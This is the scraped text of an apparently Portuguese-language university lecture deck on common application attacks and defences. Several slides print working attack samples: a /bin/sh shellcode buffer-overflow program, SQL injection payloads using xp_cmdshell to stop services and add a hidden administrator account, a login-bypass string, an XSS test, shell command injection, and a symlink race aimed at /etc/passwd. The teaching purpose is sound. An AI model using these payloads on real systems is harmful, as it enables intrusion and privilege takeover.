Especializao em Segurana da Informao Segurana em Aplicaes

  • Slides: 25
Download presentation
Especialização em Segurança da Informação Segurança em Aplicações 3. Principais Ataques Márcio Aurélio Ribeiro

Especialização em Segurança da Informação Segurança em Aplicações 3. Principais Ataques Márcio Aurélio Ribeiro Moreira marcio. moreira@pitagoras. com. br http: //si. lopesgazzani. br/docentes/marcio/

Estrutura típica de aplicações Márcio Moreira 3. Principais Ataques – slide 2 Segurança em

Estrutura típica de aplicações Márcio Moreira 3. Principais Ataques – slide 2 Segurança em Aplicações

Principais pontos de ataque Ø Áreas públicas: l Vantagem: Facilidade de ataque l Desvantagem:

Principais pontos de ataque Ø Áreas públicas: l Vantagem: Facilidade de ataque l Desvantagem: Baixo retorno l Alvos e ataques: v Clientes: Roubo de informações v Links: Coleta de pacotes v Webservers: Negação de serviço Ø Áreas restritas: l Vantagem: Alto retorno l Desvantagem: Complexidade l Alvos e ataques: v Firewall: v S. Aplicação: v S. Banco: Márcio Moreira Negação de serviço Violação de acesso 3. Principais Ataques – slide 3 Baixo Retorno Fácil Difícil Rentá vel Segurança em Aplicações

Principais vulnerabilidades Ø Áreas públicas: l Baixo conhecimento dos usuários l Baixo nível de

Principais vulnerabilidades Ø Áreas públicas: l Baixo conhecimento dos usuários l Baixo nível de proteção das estações l Uso de protocolos inseguros ou frágeis Ø Áreas restritas: l Gestão inadequada de usuários l Gestão inadequada de perfis l Integrações inseguras entre sistemas l Servidores mal configurados l Aplicações mal escritas Márcio Moreira 3. Principais Ataques – slide 4 Segurança em Aplicações

Resumo das ameaças Ø Ameaças de invasão: l Atividades de varredura: pessoas procurando formas

Resumo das ameaças Ø Ameaças de invasão: l Atividades de varredura: pessoas procurando formas de acessar seus serviços ou aplicações Ø Intrusão: l Tentativa bem sucedida de obter acesso à uma máquina que não deveria ter l Destruição: Perda de dados ou informações (após a intrusão) Ø Código malicioso: l Vírus, verme, etc. Ø Negação de Serviço (Do. S: Denial-of-Service): l Impedir que o serviço seja oferecido aos usuários l Ex. : E-mails bomba (lotam o servidor de e-mails forjados) Ø Forjar (spoofing): l Oferecer serviços ou aplicações que parecem com os verdadeiros para obter informações (especialmente credenciais) Ø SPAM: l Espalhar e-mails ou mensagens não desejadas pelas pessoas Márcio Moreira 3. Principais Ataques – slide 5 Segurança em Aplicações

Explorando vulnerabilidades públicas Ø Explorando a fragilidade do usuário: l l Cavalo de Tróia

Explorando vulnerabilidades públicas Ø Explorando a fragilidade do usuário: l l Cavalo de Tróia (Trojan horse) e vírus/verme/malware Sequestro de sessão (session hijack) Engenharia social (obter informações privadas) Fragilidade de senhas Ø Explorando a fragilidade da máquina: l Keyloggers (interceptadores de teclado e mouse) l Tomando o controle da máquina do usuário Ø Explorando pacotes de rede (sniffing): l Coleta de credenciais (Ethereal) l Preparação de ataques a áreas restritas l Ganhar acesso e controle de servidores Márcio Moreira 3. Principais Ataques – slide 6 Segurança em Aplicações

Explorando gestão inadequada Ø Gestão inadequada de usuários l Um usuário para cada sistema

Explorando gestão inadequada Ø Gestão inadequada de usuários l Um usuário para cada sistema ou aplicação l Usuários demitidos, mas os acessos não l Acumulação de acessos durante a carreira l Falta de padronizações (processos adequados) Ø Gestão inadequada de perfis l Nivelar perfil pela maior necessidade l Acumulação de perfis durante a carreira l Integração de parceiros, terceiros, visitantes, etc. Márcio Moreira 3. Principais Ataques – slide 7 Segurança em Aplicações

Explorando servidores mal configurados Ø Trocando módulos e pacotes de correções Ø Interceptando chamadas

Explorando servidores mal configurados Ø Trocando módulos e pacotes de correções Ø Interceptando chamadas de sistema Ø Explorando Rootkits (kernel forjado) Ø Explorando Condições de Corrida l Ganhar privilégios indevidos ou negar o serviço Ø Buffer Overflow Ø Atacar protocolos frágeis Ø Atacar utilitários frágeis Márcio Moreira 3. Principais Ataques – slide 8 Segurança em Aplicações

Explorando integrações ruins Ø A integração de sistemas é muito comum Ø Como sistemas

Explorando integrações ruins Ø A integração de sistemas é muito comum Ø Como sistemas heterogêneos podem conversar entre si? Ø Solução comum: l Arquivos texto (ASCII), planilhas, etc. v. Armazenado em pastas comuns aos sistemas v. Transportados em mídias ou links inseguros l Interface humana (lê em um e digita no outro) Ø Ataques: l Interceptação, cópia, alteração, inclusão e exclusão Márcio Moreira 3. Principais Ataques – slide 9 Segurança em Aplicações

Explorando aplicações mal escritas Ø Redundâncias de autenticações: l n aplicações n bases de

Explorando aplicações mal escritas Ø Redundâncias de autenticações: l n aplicações n bases de autenticações Ø Injeção de código: l SQL injection: v. Forjar acessos válidos (ataque ao where) v. Ganhar acesso indevido (console remoto) l Code injection: v. Forjar acessos válidos (ataque ao if) v. Buffer overflow: instalando portas de acesso v. Capturar áreas de memória (memory dump) Ø Explorar falta de rastreabilidade e consistência: l Usar credenciais válidas para ações ilícitas Márcio Moreira 3. Principais Ataques – slide 10 Segurança em Aplicações

Explorando aplicações web Ø Inspeção de pacotes: usar https com ssl Ø Keyloggers: usar

Explorando aplicações web Ø Inspeção de pacotes: usar https com ssl Ø Keyloggers: usar teclado virtual Ø Explorar portas: usar firewall Ø Espalhar vírus e trojan: usar antivírus Ø Sites clonados: digite o endereço Ø E-mails falsos: l Não abra, use confirmação de remetente, etc. l Utilize e-mails seguros (cifrados e autenticados) Ø Assistentes virtuais: Márcio Moreira personalize a página 3. Principais Ataques – slide 11 Segurança em Aplicações

10 principais ataques para web Ø Ø Ø Ø Ø Injeção (código e SQL)

10 principais ataques para web Ø Ø Ø Ø Ø Injeção (código e SQL) Cross Site Scripting (XSS) Quebra de autenticação e de gestão de sessão Falta de segurança em referências diretas a objetos Forjar requisições para trocas de sites (CSRF: Cross Site Request Forgery) Configuração inadequada de servidores Falhas de controle de acesso as URLs restritas Encaminhamentos e redirecionamentos inválidos Baixo nível de criptografia de acesso à Storages Insuficiência na proteção da camada de transporte da rede Márcio Moreira 3. Principais Ataques – slide 12 Segurança em Aplicações

Explorando o “man in the middle” Ø Ataque do homem do meio: l Interceptar

Explorando o “man in the middle” Ø Ataque do homem do meio: l Interceptar uma conexão l Seqüestrar a sessão l Recomendações: v. Não use proxy v. Use certificados públicos v. Use uma entidade certificadora externa v. Use cartões de números variáveis (tokens) v. Autentique a estação de origem l Questão: como autenticar dispositivos móveis? Márcio Moreira 3. Principais Ataques – slide 13 Segurança em Aplicações

XSS (Cross Site Scripting) Ø Ideia: l Injeção de código (Java. Script, VBScript, Active.

XSS (Cross Site Scripting) Ø Ideia: l Injeção de código (Java. Script, VBScript, Active. X, HTML ou Flash) por um espião, do lado do cliente, nas páginas que serão utilizadas por outros usuários Ø Meios utilizados: l Páginas que serão acessadas, cookies, e-mails com links para áreas intermediárias, etc. Ø Paradoxo: l Para evitar o ataque o usuários deve desabilitar a execução de scripts, mas com isto perde funcionalidades que podem ser imprescindíveis Ø Exemplo trivial: l Digitar <script>alert(“hello")</script>, numa caixa de texto de busca Márcio Moreira 3. Principais Ataques – slide 14 Segurança em Aplicações

Buffer Overflow Ø Exemplo: l char nome[30]; l printf(“Nome: "); l gets(nome); l char

Buffer Overflow Ø Exemplo: l char nome[30]; l printf(“Nome: "); l gets(nome); l char b[100]; l strcpy(nome, b); // permite o overflow da variável // copia os 100 bytes de b em nome Ø Se faltar memória: Erro Ø Se a linguagem tratar: Erro ou exceção Ø Se a linguagem não tratar? l Existem vários ataques que exploram isto! Márcio Moreira 3. Principais Ataques – slide 15 Segurança em Aplicações

Buffer Overflow - Estratégia Ø Injetar código nas variáveis das funções: l Acessar o

Buffer Overflow - Estratégia Ø Injetar código nas variáveis das funções: l Acessar o shell do SO l Abrir portas para ataques posteriores l Instalar ou abrir servidores de acesso remoto Ø Mudar o endereço de retorno Ø Disparar o código por outra injeção Ø Vulnerabilidades conhecidas: l TCP/IP, IIS (ISAPI), Apache, Sendmail, Linux e Unix (DNS: update de zonas), etc. Márcio Moreira 3. Principais Ataques – slide 16 Estrutura de Funções: Argumentos Endereço de retorno Variáveis Código da função Retorno Segurança em Aplicações

Exemplo de código de ataque #include <stdio. h> #include <string. h> char shellcode[ ]

Exemplo de código de ataque #include <stdio. h> #include <string. h> char shellcode[ ] = "xebx 1 fx 5 ex 89x 76x 08x 31xc 0x 88x 46x 07x 89x 46x 0 cxb 0x 0 b" "x 89xf 3x 8 dx 4 ex 08x 8 dx 56x 0 cxcdx 80x 31xdbx 89xd 8x 40xcd" "x 80xe 8xdcxffxff/bin/sh"; char large_string[128]; int main(int argc, char **argv){ char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < (int) strlen(shellcode); i++) large_string[i] = shellcode[i]; strcpy(buffer, large_string); return 0; } Moreira Márcio 3. Principais Ataques – slide 17 Segurança em Aplicações

Como obter o código de ataque? Ø Programando em Assembler e pegando os códigos

Como obter o código de ataque? Ø Programando em Assembler e pegando os códigos hexa do executável Ø Utilizando o DEBUG: Márcio Moreira 3. Principais Ataques – slide 18 Segurança em Aplicações

SQL Injection Ø Idéia: injetar código para ganhar acesso Ø Exemplo de autenticação: l

SQL Injection Ø Idéia: injetar código para ganhar acesso Ø Exemplo de autenticação: l SELECT * l FROM usuarios l WHERE usuario = '$usuario' AND senha = '$senha' Ø Sintaxe SQL: l ' (apóstrofo) Terminador de strings l -- (2 menos) Comentários (ignora o restante) Ø O que acontece se digitarmos no campo usuário? l x' OR 1=1 -Márcio Moreira 3. Principais Ataques – slide 19 Segurança em Aplicações

SQL Injection - Exemplos Ø No SQL Server: l '; EXEC xp_cmdshell 'net stop

SQL Injection - Exemplos Ø No SQL Server: l '; EXEC xp_cmdshell 'net stop sqlserver', no_output -l No lugar do comando (net stop. . . ), podemos colocar: v Net user admin 2 /add && net localgroup administrators admin 2 /add && net localgroup ORA_DBA admin 2 /add l ' UNION SELECT id, name, '', 0, '' FROM sysobjects WHERE xtype='U' -- Ø Injeção no get (passagem de parâmetros) em url: l http: //windefense/index. asp? id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA. TABLES WHERE TABLE_NAME LIKE '%25 login%25'— Ø Referências: l www. owasp. org/images/7/74/Advanced_SQL_Injection. ppt Márcio Moreira 3. Principais Ataques – slide 20 Segurança em Aplicações

Code Injection ØApós ganhar acesso ao SO digite: l cat > exs // copia

Code Injection ØApós ganhar acesso ao SO digite: l cat > exs // copia digitação em exs v#!/bin/sh v. A=$1 veval "ls $A“ // o shell default é o sh // atribui o 1º parâmetro à A // executa ls com conteúdo de A l chmod a+rx exs // permite execução de exs Ø O que acontece se digitarmos? l. /exs ". ; chmod o+r *“ Ø O caractere “; ” é um separador de comandos do shell do linux e unix Márcio Moreira 3. Principais Ataques – slide 21 Segurança em Aplicações

Condições de corrida Ø Os arquivos temporários são gerados por funções: l name=maketemp("/tmp/gs_XXXX"); l

Condições de corrida Ø Os arquivos temporários são gerados por funções: l name=maketemp("/tmp/gs_XXXX"); l fp=fopen(name, "w"); Ø Eles herdam os privilégios de seus geradores Ø O que podemos colocar em arquivos temporários? Ø O que ocorre se no momento de uma condição de corrida mudarmos a path do arquivo? l Ex: symlink /tmp/gs_12345 A -> /etc/passwd Ø As condições de corrida podem ocorrer: l Memória, arquivos ou sinais. Ø Referência: l http: //projects. cerias. purdue. edu/secprog/class 2/5. Links_&_Races. pdf Márcio Moreira 3. Principais Ataques – slide 22 Segurança em Aplicações

O que fazer? Ø Proteger a infra-estrutura: l Segurança de perímetro (Firewall, IDS, IPS,

O que fazer? Ø Proteger a infra-estrutura: l Segurança de perímetro (Firewall, IDS, IPS, etc. ) l Segurança na instalação, configuração e manutenção l Atualização segura de SO e serviços l Avaliação periódica de segurança (Ethical Hacking) l Monitoramento contínuo de log Ø Proteger as aplicações: l Processo de desenvolvimento seguro de desenvolvimento l Autenticação centralizada l Adote padrões de comunicação e conexão com DBMS l Processo de garantia da qualidade (avaliações periódicas) Márcio Moreira 3. Principais Ataques – slide 23 Segurança em Aplicações

Taxonomias (critérios de classificação) Ø MANET: l Mobile ad-hoc network l Classifica: v Vulnerabilidades,

Taxonomias (critérios de classificação) Ø MANET: l Mobile ad-hoc network l Classifica: v Vulnerabilidades, Desafios, Ataques e Aplicações l MANET: Vulnerabilities, Challenges, Attacks, Application - Priyanka Goyal, Vinti Parmar e Rahul Rishi Ø AVOIDIT: l Classifica: v Ataques, Vetores, Impactos Operacionais, Defesa, Impacto de Informações e Alvos l AVOIDIT: A Cyber Attack Taxonomy - Chris Simmons, Charles Ellis, Sajjan Shiva, Dipankar Dasgupta, Qishi Wu Ø Tratado sobre o tema: l A taxonomy of computer attacks with applications to wireless networks Daniel Lowry Lough Márcio Moreira 3. Principais Ataques – slide 24 Segurança em Aplicações

MANET Vulnerabilidades Desafios Ataques Aplicações Falta de gestão centralizada Roteamento Externos Militares Disponibilidade de

MANET Vulnerabilidades Desafios Ataques Aplicações Falta de gestão centralizada Roteamento Externos Militares Disponibilidade de recursos Segurança e Confiabilidade Internos Comerciais Escalabilidade Qualidade de Serviço Negação de serviço Locais Falta de cooperação Inter redes Falsidade ideológica (Impersonation) Pessoais Topologias dinâmicas Consumo de Energia Observação de informações confidenciais (Eavesdropping) Comunicação Limitação de fonte de energia Propagação (multicast) De roteamento Restrições de largura de banda Localização apoiada por roteamento Ataque do buraco negro Espiões dentro da rede Ataque do buraco de minhoca Fronteiras não definidas Ataque do buraco cinza Ataque de resposta Encravamento (jamming) Ataque do homem do meio Márcio Moreira 3. Principais Ataques – slide 25 Segurança em Aplicações